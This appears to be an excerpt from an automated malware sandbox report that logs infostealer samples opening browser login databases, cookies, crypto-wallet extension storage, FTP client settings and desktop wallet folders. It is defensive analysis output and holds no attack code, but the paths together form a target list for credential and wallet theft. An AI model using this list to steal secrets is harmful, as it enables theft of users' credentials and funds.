Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002448001\9de8348ea3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MOCYNWGDZO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EVCMENBQHP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\OVWVVIANZH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWZOQIFCAN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QEURJOJQOH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SNIPGPPREP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WHZAGPPPLA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
